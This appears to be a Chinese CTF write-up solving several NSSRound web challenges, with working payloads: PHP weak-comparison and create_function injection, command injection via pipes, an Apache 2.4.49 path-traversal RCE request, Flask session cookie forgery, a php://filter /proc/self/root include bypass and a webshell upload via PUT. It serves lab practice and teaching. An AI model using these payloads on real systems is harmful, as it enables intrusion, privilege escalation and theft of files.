NSSRound(持续更新)
了解过PHP特性吗
这个题相当于是php特性大杂烩
先看源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {die("no!!");
}
if (intval($num)) {$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {$ctype = strrev($_POST['ctype']);$is_num = strrev($_POST['is_num']);if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {$checker_2 = TRUE;}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {if (!is_numeric($_514) && $_514 > 9999999) {$checker_3 = TRUE;}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {for ($i = 0; $i < count($arr4y); $i++) {if ($arr4y[$i] === "NSS") {die("no!");}$arr4y[$i] = intval($arr4y[$i]);}if (array_search("NSS", $arr4y) === 0) {$checker_4 = TRUE;}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {echo $rce;
}
首先看第一部分
这个地方说明num输入的值不能为数字,但是第二部分说明num必须为数字,这个地方需要用数组绕过,payload
num[]=1
第二部分
strrev()是将输入的值进行反转,相当于反转字符串
ctype_alpha()表示必须输入字母
is_numeric()表示必须输入数字
然后两个值的md5还要相等
首先,MD5的弱比较用240610708和QNKCDZO绕过,将这两个再反转就行
payload
ctype=OZDCKNQ
is_num=807016042
第三部分
这个地方表示$_114必须大于114514,但是长度又要小于3位,科学计数法绕过就行
$_514不能为纯数字,并且要大于9999999,这个地方随便输入一个比9999999大然后加个字母就行
payload
114=2e8
514=9999999999a
第四部分
这个地方首先需要输入一个数组,并且里面不能包含NSS,但是后面又必须要NSS,这时看array_search()函数
array_search()相当于把里面的东西进行弱比较,在array_search("NSS", $arr4y) 中,相当于(NSS==$arr4y),这个地方就用数组绕过弱比较
payload
arr4y[]=0
最终结果
最后一部分
主要看create_function()函数
create_function()函数就相当于eval()函数,这个函数会在内部执行eval()指令
create_function()相当于
function answer($a,$b){........
}
但是这个地方只有$b是进行代码执行的,$a只用于声明函数变量
payload
shell=&nss=}system('ls');//
这个地方相当于先闭合前{,然后注释后}
basic_check
解题
进来只有这些东西,通过dirsearch扫目录,抓包等等操作都无法找到切入点
这个题需要用到nikto工具
基本使用
nikto -h url
注意这一条
说明可以用PUT方法进行文件上传
上传成功,然后连接一句话木马
nikto工具介绍
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。
ec_RCE
这个题和以往做的rce题不太一样,这个题虽然没什么过滤,但这个题的关键却在管道符
让action=||,data='tac /flag'即可
ez_factors
进来有一个tools
进去之后进入这个页面
factor作用
factor用分解因数,是linux的一个命令,这个地方可以用管道符进行命令执行
解题方法
根据题目提示说flag在/flag,那么直接用;cat /flag试试
被搬了,应该是不能用/,将这个用url编码就行
输出一堆数字,这个地方应该是设置了只能输出数字,可以用od绕过
od命令执行最佳命令
od -A n -t d1 %2fflag
此时就只有输出十进制,然后转文本就行
ez_rce
dirsearch抓包后没有任何有用的信息
通过nikto搜索后发现题目可以用TRACE进行请求
TRACE请求可以构造xss漏洞
发送后会下载一个文件,点开就有xss
但是这个地方并没有flag
然后就是看服务器版本
Apache/2.4.49 (Unix)
这个版本是存在漏洞的
Apache/2.4.49任意文件读取
以get请求访问/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd就行
如果有回显,说明存在这个漏洞,在这个题目中并没有这个漏洞
Apache/2.4.49命令执行
访问抓包
POC
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: node4.anna.nssctf.cn:28289
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1727336731,1727337372,1727419423,1728493198
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 123.123.123.124
X-Originating-IP: 123.123.123.124
X-Remote-IP: 123.123.123.124
X-Remote-Addr: 123.123.123.124
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Priority: u=0, i
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;ls
flaskjwt
这个题目是flask的session伪造,从题目就可以看出来
flask_session介绍
首先需要一个密钥
通过这个密钥得到session
在Flask中,Session是一种服务器端的状态管理机制,它允许开发者在不同的请求之间存储和访问用户数据。Session的数据是存储在服务器上的,而用户的浏览器会保存一个Session ID的Cookie,用于识别和维持会话状态。
做题
先随便注册一个账号并登录
就可以在存储地方找到session
session=.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9muYg.KIb-xqmD71K9K8qHSagTuQz9RQo
然后还缺一个密钥
在忘记密码处就可以找到这个密钥
th3f1askisfunny
现在两个都有了就可以使用flask_session_cookie_manager3.py进行加解密
python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9mpmA.frwhmrq9b6mOojZUtdE67VI0K9s"
输出结果为
{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '2'}
将这个2改为1就是admin
python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1'}"
生成结果为
.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_A-X7A-xTLss.Z9mr8g.LQkxfVxVj5tSbhwjIZAxaZi4TyM
将这个放到session里面就可以得到flag
flask_session_cookie_manager3.py基本使用
编码
python flask_session_cookie_manager3.py encode -s 'your_secret_key' -t '{"username": "admin", "number": "123456"}'
解码
python flask_session_cookie_manager3.py decode -c 'your_encoded_cookie' -s 'your_secret_key'
flaskjwt(hard)
进来只有一个登录页面
这里有注册的地方以及忘记密码的地方
先随便注册一个账户,然后登录进去
然后getflag时需要admin权限
这个题目是flask的session,在cookie里面找答案
解密这个需要密钥,在这个页面查看源码
发现提示信息
这里告诉了登录时间,可以试试将cookie清空
然后进入调试页面
密钥就藏在此处
然后使用flask_session_cookie_manager3.py先进行解码
python flask_session_cookie_manager3.py decode -s "hardgam3_C0u1d_u_f1ndM3????" -c ".eJwlzjGOAjEMQNGrRKkp7NhOPDkAVHTbIydxtFPQBKgQd2dWW75f_Xe8zeWP31if6-WneNtHrFFy15nVrbgpYPPZANUyDUnDZA4-PHorjWyS8dbVC87UeucsZSsipWUFaAOJDHOC6QYsgIZUNFHKWGaWbYgyzb5BZ6YmgqpNRjxGXg9f_zfp4HO_e6zvGP7Cee2nkDBcbYUESQLkylSFw-X6Ez-fL1-9Oi4.Z90Kqg.UAqII5pfq724s9QPiXh1pKCYWgE"
然后将userid改为1,并进行加密
>python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1', 'time': 'datetime.datetime(2025, 3, 21, 6, 43, 54, tzinfo=datetime.timezone.utc)'}"
将加密后的结果替换原来的cookie
MyPage
进入这个题目后,一切为空
但是传了一个?file=,估计是文件包含,而且这个题存在require_once
需要绕过,当题目没有告知源码时,也需要进行判断require_once,多个方向
/proc/self/cwd代表当前目录,此题中var被ban了,不能用绝对路径
payload
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
base64解密后
<?php
error_reporting(0);
include 'flag.php';
if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];
if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include_once $file;} else {die('error.');}
}
然后包含flag就行
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
PYRCE
进入靶场只有一个/source文件
进入之后发现是一个python脚本
简单解析
from flask import Flask, request, make_response
import uuid
import os
# 假设 flag 存储在 /flag 文件中
app = Flask(__name__)
# WAF(Web 应用防火墙)函数,用于过滤危险的输入
def waf(rce):# 黑名单字符,包含数字、特殊字符和一些危险字符black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
# 检查输入中是否包含黑名单中的字符for black in black_list:if black in rce:return False # 如果包含黑名单字符,返回 Falsereturn True # 否则返回 True
# 根路由,处理 GET 请求
@app.route('/', methods=['GET'])
def index():# 检查请求参数中是否包含 "Ňśś"if request.args.get("Ňśś"):nss = request.args.get("Ňśś")
# 使用 WAF 检查输入是否合法if waf(nss):# 如果输入合法,执行系统命令os.popen(nss)else:# 如果输入不合法,返回 "waf"return "waf"
# 默认返回 "/source" 路径return "/source"
# /source 路由,返回应用程序的源代码
@app.route('/source', methods=['GET'])
def source():# 读取并返回 app.py 文件的内容src = open("app.py", 'rb').read()return src
# 启动 Flask 应用程序
if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=8080)
关键代码
过滤了这些
这里是一个执行命令
但是这个地方并没有.read()函数,因此无法回显结果,可以试试cp命令或者tar命令
这里以cp命令为例
题目告知flag在/flag内
因此只需要
cp /flag app.py
然后访问/source即可
但是这个地方/被过滤了,空格也被过滤了
空格可以用%09绕过,这个地方%09是一个整体,因此前面对于数字的绕过对这个地方并没有效果
在linux中,/可以用$(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&pwd)来绕过
payload
Ňśś=cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&pwd)flag%09app.py
这里需要url编码
Ňśś=cp%09%24(cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26pwd)flag%09app%2epy
然后访问source即可得到flag
相关文章:
NSSRound(持续更新)
了解过PHP特性吗 这个题相当于是php特性大杂烩 先看源代码 <?php error_reporting(0); highlight_file(__FILE__); include("rce.php"); $checker_1 FALSE; $checker_2 FALSE; $checker_3 FALSE; $checker_4 FALSE; $num $_GET[num]; if (preg_match(&qu…...
Python虚拟环境:从入门到实战指南
目录 一、为什么需要Python虚拟环境? 二、如何创建Python虚拟环境? 1. 使用venv(Python 3.3内置) 2. 使用virtualenv(第三方工具) 3. 使用conda(适合数据科学项目) 三、虚拟环…...
Python实现小红书app版爬虫
简介:由于数据需求的日益增大,小红书网页版已经不能满足我们日常工作的需求,为此,小编特地开发了小红书手机版算法,方便大家获取更多的数据,提升工作效率。 手机版接口主要包括:搜素࿰…...
注册中心之Nacos相较Eureka的提升分析
1. 传统拉取模式的缺陷(如Eureka) 在类似Eureka的注册中心中,消费者需要定时(如每30秒)主动拉取服务列表(Pull模式)。如果此时某个服务突然宕机,消费者可能无法立即感知,…...
高数下---8.1平面与直线
目录 平面的确定 直线的确定 若要求某一直线或平面就根据要素来求。 例题 平面中的特殊情况 平面中的解题思路 直线的解题思路 平面的确定 两要素 一 一点 二 倾斜角 即法向量 点法式 可化为一般式 Ax By Cz D 0; (A,B,C) 即法向量; 改变D 即…...
【AI速读】30分钟搭建持续集成:用Jenkins拯救你的项目
每个开发者都踩过的坑 你有没有这样的经历?花了一周时间改代码,自信满满准备提交,结果合并同事的更新后,项目突然编译失败,测试跑不通。你焦头烂额地排查问题,老板还在催进度……但明明不是你的错! 这种“集成地狱”几乎每个团队都遇到过。传统的手动集成方式(比如每周…...
centos 9 编译安装 rtpengine (快方式)-使用 debian12 系统自带
1:更新系统包 dnf update 2:启用EPEL仓库(提供额外软件包) # 安装EPEL仓库 sudo dnf install epel-release -y# 检查EPEL仓库是否启用(输出应包含epel) dnf repolist# 启用CRB仓库 sudo dnf config-manager --set-e…...
Android第六次面试总结(okhttp篇)
OkHttp 是一个高效的 HTTP 客户端,它的工作流程包含多个步骤,从请求的创建、发送,到服务器响应的接收和处理,每个环节都有特定的逻辑和组件参与。以下是对 OkHttp 工作流程的详细说明: 1. 请求构建 在使用 OkHttp 发…...
ngx_http_escape_location_name
定义在 src\http\ngx_http.c static ngx_int_t ngx_http_escape_location_name(ngx_conf_t *cf, ngx_http_core_loc_conf_t *clcf) {u_char *p;size_t len;uintptr_t escape;escape 2 * ngx_escape_uri(NULL, clcf->name.data, clcf->name.len,NGX_ESCAPE_U…...
QT网络通信的接口与使用
文章目录 前言1.服务端实现流程1.1步骤 1:创建 QTcpServer 并监听端口1.2步骤 2:处理新连接请求1.3步骤 3:接收客户端数据1.4步骤 4:处理客户端断开 2.客户端实现流程2.1步骤 1:创建 QTcpSocket 并连接服务器2.2步骤 2…...
基于生成对抗网络(GAN)的图像超分辨率重建:技术与应用
图像超分辨率重建(Super-Resolution, SR)是计算机视觉领域的重要任务,旨在从低分辨率图像中恢复出高分辨率图像。这一技术在医学影像、卫星图像、视频增强等领域具有广泛的应用价值。传统的超分辨率方法依赖于插值或基于模型的重建,效果有限。近年来,生成对抗网络(GAN)通…...
【spring对bean Request和Session的管理流程】
在 Spring 框架中,除了常见的 单例(Singleton) 和 原型(Prototype) 作用域外,还支持 Request 和 Session 作用域。这两种作用域主要用于 Web 应用程序中,分别表示 Bean 的生命周期与 HTTP 请求或…...
FastGPT原理分析-数据集创建第二步:处理任务的执行
概述 文章《FastGPT原理分析-数据集创建第一步》已经分析了数据集创建的第一步:文件上传和预处理的实现逻辑。本文介绍文件上传后,数据处理任务的具体实现逻辑。 数据集创建总体实现步骤 从上文可知数据集创建总体上来说分为两大步骤: &a…...
AI重构SEO关键词优化路径
内容概要 人工智能技术的深度应用正在推动SEO优化进入全新阶段。传统关键词优化依赖人工经验与静态规则,存在效率瓶颈与策略滞后性缺陷。AI技术通过智能语义分析系统,能够穿透表层词汇限制,精准捕捉用户搜索意图的语义关联网络,结…...
VMWare Ubuntu 详细安装教程
VMWare Ubuntu 详细安装教程 一、下载安装VMware二、下载 Ubuntu 镜像文件三、安装 Ubuntu四、开启虚拟机 一、下载安装VMware 官网下载地址https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion知乎大佬的博客原文,含下载地址https://zhua…...
SystemVerilog 数据类型
1、内建数据类型 verilog有两种基本的数据类型:变量和线网,他们各自都可以有四种取值:0 1 z x; RTL代码使用 变量 来存放组合和时序值;变量可以是单bit或者是多bit的无符号数 reg [7:0] m, 32bit的有符号…...
C语言:扫雷
在编程的世界里,扫雷游戏是一个经典的实践项目。它不仅能帮助我们巩固编程知识,还能锻炼逻辑思维和解决问题的能力。今天,就让我们一起用 C 语言来实现这个有趣的游戏,并且通过图文并茂的方式,让每一步都清晰易懂 1. 游…...
特殊行车记录仪DAT视频丢失的恢复方法
行车记录仪是一种常见的车载记录仪,和常见的“小巧玲珑”的行车记录仪不同,一些特种车辆使用的记录仪的外观可以用“笨重”来形容。下边我们来看看特种车载行车记录仪删除文件后的恢复方法。 故障存储: 120GB存储设备/文件系统:exFAT /簇大小:128KB 故…...
_DISPATCHER_HEADER结构中的WaitListHead和_KWAIT_BLOCK的关系
第一部分: // // Wait block // // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp typedef struct _KWAIT_BLOCK { LIST_ENTRY WaitListEntry; struct _KTHREAD *RESTRICTED_POINTER Thread; PVOID Object; struct _KWAIT_BLOCK *R…...
智能汽车图像及视频处理方案,支持视频实时拍摄特效能力
在智能汽车日新月异的今天,美摄科技作为智能汽车图像及视频处理领域的先行者,凭借其卓越的技术实力和前瞻性的设计理念,为全球智能汽车制造商带来了一场视觉盛宴的革新。美摄科技推出智能汽车图像及视频处理方案,一个集高效性、智…...
Rust + 时序数据库 TDengine:打造高性能时序数据处理利器
引言:为什么选择 TDengine 与 Rust? TDengine 是一款专为物联网、车联网、工业互联网等时序数据场景优化设计的开源时序数据库,支持高并发写入、高效查询及流式计算,通过“一个数据采集点一张表”与“超级表”的概念显著提升性能…...
Android Audio基础(13)——audiomixer
在 Android 平台上,音频混合器 AudioMixer 主要用在 AudioFlinger 里,将多路音频源数据混音(包括混音、音量处理、重采样及处理声道等)。位于 framework 的音频处理模库 libaudioprocessing(frameworks/av/media/libau…...
vivo 湖仓架构的性能提升之旅
作者:郭小龙 vivo互联网 大数据高级研发工程师 导读:本文整理自 vivo互联网 大数据高级研发工程师 郭小龙 在 StarRocks 年度峰会上的分享,聚焦 vivo 大数据多维分析面临的挑战、StarRocks 落地方案及应用收益。 在 即席分析 场景,…...
常见中间件漏洞攻略-Tomcat篇
一、 CVE-2017-12615-Tomcat put方法任意文件写入漏洞 第一步:开启靶场 第二步:在首页抓取数据包,并发送到重放器 第三步:先上传尝试一个1.txt进行测试 第四步:上传后门程序 第五步:使用哥斯拉连接 二、后…...
基于linuxC结合epoll + TCP 服务器客户端 + 数据库实现一个注册登录功能
1. 整体功能概述 实现了一个简单的用户注册和登录系统,采用客户端 - 服务器(C/S)架构。 客户端可以选择注册或登录操作,将用户名和密码发送给服务器,服务器接收请求后处理并返回相应的结果给客户端。 服务器使用 SQLit…...
redis7.4.2单机配置
解压源码包 将从官网下载的redis源码压缩包上传到服务器的相关目录下。 [roothcss-ecs-2851 ~]# cd /opt/soft/redis/ [roothcss-ecs-2851 redis]# ls redis-stable.tar.gz解压并进入解压后的目录中。 [roothcss-ecs-2851 redis]# tar -zxvf redis-stable.tar.gz [roothcss-…...
Unity代码热更新和资源热更新
知识点来源:人间自有韬哥在,hybridclr,豆包 目录 一、代码热更新1.代码热更新概述2.HybridCLR 二、资源热更新1.资源热更新概述2.AB包2.1.AB包的加载2.2.卸载AB包2.3.加载AB包依赖包2.4.获取MD52.5.生成对比文件2.6.更新AB包 3.Addressable3.1.AssetRef…...
【MySQL篇】DEPENDENT SUBQUERY(依赖性子查询)优化:从百秒到秒级响应的四种优化办法
💫《博主介绍》:✨又是一天没白过,我是奈斯,从事IT领域✨ 💫《擅长领域》:✌️擅长阿里云AnalyticDB for MySQL(分布式数据仓库)、Oracle、MySQL、Linux、prometheus监控;并对SQLserver、NoSQL(…...
腾讯四面面经
说明 是的,没听错,确实是腾讯四面,而且是技术面。先声明下,这个面经是帮朋友整理的,都是真实的面经,不得不说,四面确实是有强的的,接下来让我们一起看下 面试部门:s3&a…...
【mysql】唯一性约束unique
文章目录 唯一性约束 1. 作用2. 关键字3. 特点4. 添加唯一约束5. 关于复合唯一约束 唯一性约束 1. 作用 用来限制某个字段/某列的值不能重复。 2. 关键字 UNIQUE3. 特点 同一个表可以有多个唯一约束。唯一约束可以是某一个列的值唯一,也可以多个列组合的值唯…...
如何理解前端工程化
前端工程化详解 一、 定义二、特点1. 模块化2. 组件化3. 自动化4. 规范化 三、涉及环节1. 项目架构2. 版本控制:3.自动化构建4.任务自动化5. 部署与CI/CD 五、 前端工程化的实际应用六、前端工程化的优势:七、总结 一、 定义 前端工程化是指将前端开发…...
嵌入式八股RTOS与Linux---进程间的通信与同步篇
前言 同步异步、阻塞/非阻塞是什么? 同步:在执行某个操作时,调用者必须等待该操作完成并返回结果后,才能继续执行后续的操作异步:在执行某个操作时,调用者发起操作后不必等待其完成,可以立即继续执行后续的操作。操作完成后&am…...
this.centerDialogVisible = true this.$nextTick(()=>{ this.resetForm(); })
这段代码的作用是 打开一个对话框,并在对话框打开后 重置表单。下面是对这段代码的详细解析: 1. 代码作用 this.centerDialogVisible true:控制对话框的显示。this.$nextTick(() > { ... }):在 DOM 更新后执行回调函数&#…...
datawhale组队学习--大语言模型—task4:Transformer架构及详细配置
第五章 模型架构 在前述章节中已经对预训练数据的准备流程(第 4 章)进行了介绍。本章主 要讨论大语言模型的模型架构选择,主要围绕 Transformer 模型(第 5.1 节)、详细 配置(第 5.2 节)、主流架…...
专业级 AI 提示生成工具清单
1. 引言 近年来,随着 GPT-3、GPT-4 等大规模预训练语言模型的广泛应用,提示(Prompt)工程作为驱动模型输出质量的重要环节,受到了各界的高度关注。精心设计、管理与优化提示,不仅能够大幅提高生成文本的准确…...
Web前端考核 JavaScript知识点详解
一、JavaScript 基础语法 1.1 变量声明 关键字作用域提升重复声明暂时性死区var函数级✅✅❌let块级❌❌✅const块级❌❌✅ 1.1.1变量提升的例子 在 JavaScript 中,var 声明的变量会存在变量提升的现象,而 let 和 const 则不会。变量提升是指变量的声…...
23种设计模式-生成器(Builder)设计模式
工厂方法设计模式 🚩什么是生成器设计模式?🚩生成器设计模式的特点🚩生成器设计模式的结构🚩生成器设计模式的优缺点🚩生成器设计模式的Java实现🚩代码总结🚩总结 🚩什么…...
Thinkphp(TP)框架漏洞攻略
1.环境搭建 vulhub/thinkphp/5-rce docker-compose up -d 2.访问靶场 远程命令执行: ? sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1] []whoami 远程代码执行: ? s/Index/\think\app/invokefunc…...
HTTP/HTTPS 中 GET 请求和 POST 请求的区别与联系
一、基础概念 HTTP (HyperText Transfer Protocol, 超文本传输协议) 是一种用于浏览器与服务器之间进行数据交互的协议。HTTPS (加密的 HTTP) 则通过 SSL/TLS 协议实现通信加密与数据安全性。 二、GET 和 POST 概述 GET 请求: 用于从服务器获取资源。 POST 请求: 用于将数据…...
2021年蓝桥杯第十二届CC++大学B组真题及代码
目录 1A:空间(填空5分_单位转换) 2B:卡片(填空5分_模拟) 3C:直线(填空10分_数学排序) 4D:货物摆放(填空10分_质因数) 5E…...
解锁 AWX+Ansible 自动化运维新体验:快速部署实战
Ansible 和 AWX 是自动化运维领域的强大工具组合。Ansible 是一个简单高效的 IT 自动化工具,而 AWX 则是 Ansible 的开源 Web 管理平台,提供图形化界面来管理 Ansible 任务。本指南将带你一步步在 Ubuntu 22.04 上安装 Ansible 和 AWX,使用 M…...
简洁、实用、无插件和更安全为特点的WordPress主题
简站WordPress主题是一款以简洁、实用、无插件和更安全为特点的WordPress主题,自2013年创立以来,凭借其设计理念和功能优势,深受用户喜爱。以下是对简站WordPress主题的详细介绍: 1. 设计理念 简站WordPress主题的核心理念是“崇…...
区块链学习总结
Hardhat 是一个用于 Ethereum 智能合约开发 的开发环境,专为 Solidity 语言编写的智能合约提供工具支持。它能够帮助开发者 编译、部署、测试和调试 智能合约,并提供一个本地的以太坊测试网络。 Hardhat 的核心功能 本地开发网络(Hardhat Ne…...
可发1区的超级创新思路(python\matlab实现):基于周期注意力机制的TCN-Informer时间序列预测模型
首先声明,该模型为原创!原创!原创!且该思路还未有成果发表,感兴趣的小伙伴可以借鉴! 一、应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、电机故障检测等等 二、模型整体介绍(本文以光伏功率预测为例) 1.1 核心创新点 本模型通过三阶段…...
案例4:鸢尾花分类(pytorch)
一、引言 鸢尾花分类是机器学习领域的经典案例,常用于演示分类算法的基本原理和应用。本案例使用 PyTorch 构建一个简单的神经网络模型,对鸢尾花进行分类。通过该案例,我们可以学习如何使用 PyTorch 进行数据处理、模型构建、训练和评估&…...
本地部署Stable Diffusion生成爆火的AI图片
直接上代码 Mapping("/send") Post public Object send(Body String promptBody) { JSONObject postSend new JSONObject(); System.out.println(promptBody); JSONObject body JSONObject.parseObject(promptBody); List<S…...
CCF-CSP历年真题答案1,2
本文代码主要来自up主圣斗士-DS-ALGO对历年真题的讲解,在此特别感谢。 侵权则删。 10.1_分蛋糕_2017_03 #include <iostream> using namespace std;int main() {int a[1000], n, k; // 定义数组a用于存储蛋糕的重量,整数n表示蛋糕的数量…...
【MySQL】一篇讲懂什么是聚簇索引和非聚簇索引(二级索引)以及什么是回表?
1.聚簇索引: 叶子节点直接存储了完整的数据行。 每个表只能有一个聚簇索引,通常是主键(Primary Key)。如果没有定义主键,则MySQL会选择一个唯一且非空索引作为聚簇索引。 特点: 数据存储:叶子结点存储完整的数据行…...
炫酷的HTML5粒子动画特效实现详解
炫酷的HTML5粒子动画特效实现详解 这里写目录标题 炫酷的HTML5粒子动画特效实现详解项目介绍技术栈项目架构1. HTML结构2. 样式设计 核心实现1. 粒子类设计2. 动画效果实现星空效果烟花效果雨滴效果 3. 鼠标交互 性能优化效果展示总结 项目介绍 本文将详细介绍如何使用HTML5 C…...
go-zero学习笔记
内容不多,只有部分笔记,剩下的没有继续学下去,包括路由与处理器、日志中间件、请求上下文 文章目录 1、go-zero核心库1.1 路由与处理器1.2 日志中间件1.3 请求上下文 1、go-zero核心库 1.1 路由与处理器 package mainimport ("github…...